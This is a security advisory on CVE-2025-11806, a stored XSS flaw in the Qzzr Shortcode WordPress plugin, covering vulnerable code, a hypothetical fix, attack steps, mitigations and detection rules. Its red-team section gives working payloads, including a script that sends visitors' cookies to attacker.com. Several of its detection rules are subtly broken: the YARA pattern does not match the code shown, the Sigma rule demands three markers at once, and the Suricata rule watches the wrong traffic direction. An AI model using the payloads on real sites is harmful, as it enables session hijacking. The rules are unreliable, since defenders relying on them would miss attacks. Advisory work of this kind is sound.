CVE-2025-11806

Executive Summary

CVE-2025-11806 is a Stored Cross-Site Scripting (XSS) vulnerability in the Qzzr Shortcode Plugin for WordPress, affecting all versions up to and including 1.0.1. The flaw resides in the qzzr shortcode, specifically within the quiz attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode.

This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to the stored nature of the payload. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (qzzr-shortcode.php) and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): None – No user action needed for exploitation.
• Scope (S): Changed – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While authentication is required, the stored XSS can affect all site visitors, including administrators, leading to session hijacking, defacement, or malware distribution.

Deep Dive & Mechanics

The vulnerability exists in the qzzr shortcode handler, which processes the quiz attribute. The plugin fails to sanitize user input and escape output when rendering the shortcode. An attacker with contributor-level access can create a post or page containing a malicious shortcode like:

[qzzr quiz="<script>alert('XSS')</script>"]

When the page is rendered, the script executes in the context of the victim's browser. The stored nature means the payload persists in the database and affects all subsequent visitors.

Root Cause: The plugin uses echo or print to output the quiz attribute value without passing it through WordPress's esc_attr() or esc_html() functions, and without sanitizing input via sanitize_text_field() or similar.

Vulnerable vs. Patched Code

Vulnerable Code (qzzr-shortcode.php, version 1.0.1):

function qzzr_shortcode($atts) {
    $quiz = $atts['quiz'];
    return "<div class='qzzr-quiz' data-quiz='$quiz'></div>";
}
add_shortcode('qzzr', 'qzzr_shortcode');

Patched Code (Hypothetical Fix):

function qzzr_shortcode($atts) {
    $quiz = isset($atts['quiz']) ? esc_attr($atts['quiz']) : '';
    return "<div class='qzzr-quiz' data-quiz='$quiz'></div>";
}
add_shortcode('qzzr', 'qzzr_shortcode');

The patched version uses esc_attr() to escape the attribute value, preventing script injection. Additionally, input should be sanitized with sanitize_text_field() before storage.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Qzzr Shortcode Plugin <= 1.0.1
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode in the content:

   [qzzr quiz="<img src=x onerror=alert(document.cookie)>"]
   

4. Publish the post.
5. When any user (including admin) visits the post, the XSS triggers, executing arbitrary JavaScript.

Advanced Payload:

[qzzr quiz="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for posts/pages containing the [qzzr shortcode with suspicious attributes.
• Review database entries in wp_posts.post_content for patterns like [qzzr quiz=" followed by HTML/JavaScript.
• Use Web Application Firewall (WAF) rules to block requests containing <script> in shortcode attributes.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/qzzr-shortcode/qzzr-shortcode.php (version <= 1.0.1)
• Database Pattern: Posts containing [qzzr quiz=" followed by unescaped HTML/JavaScript.
• Network Traffic: Outbound requests to attacker-controlled domains from compromised WordPress instances.
• Log Entries: Unusual shortcode usage in post revisions or published content.

Detection Engineering

YARA Rule

rule CVE_2025_11806_Qzzr_XSS {
    meta:
        description = "Detects Qzzr Shortcode plugin files vulnerable to CVE-2025-11806"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11806"
    strings:
        $vuln_func = "function qzzr_shortcode" ascii wide
        $vuln_echo = /data-quiz='\$atts\[.quiz.\]'/ ascii wide
    condition:
        $vuln_func and $vuln_echo
}

Sigma Rule

title: Qzzr Shortcode Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Qzzr shortcode in WordPress posts
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "[qzzr quiz="
        http.body|contains|all:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of Qzzr shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11806 Qzzr Shortcode Stored XSS Attempt"; flow:to_server,established; content:"[qzzr quiz="; http_client_body; pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review all posts for malicious shortcode injections and remove them.
3. Change all user passwords if compromise is suspected.

Long-term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Monitor the plugin repository for an official update.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.

Best Practices:

• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugins for known vulnerabilities.
• Use security plugins like Wordfence or Sucuri to detect and block XSS attempts.

Valters IT
Securing Digital Frontiers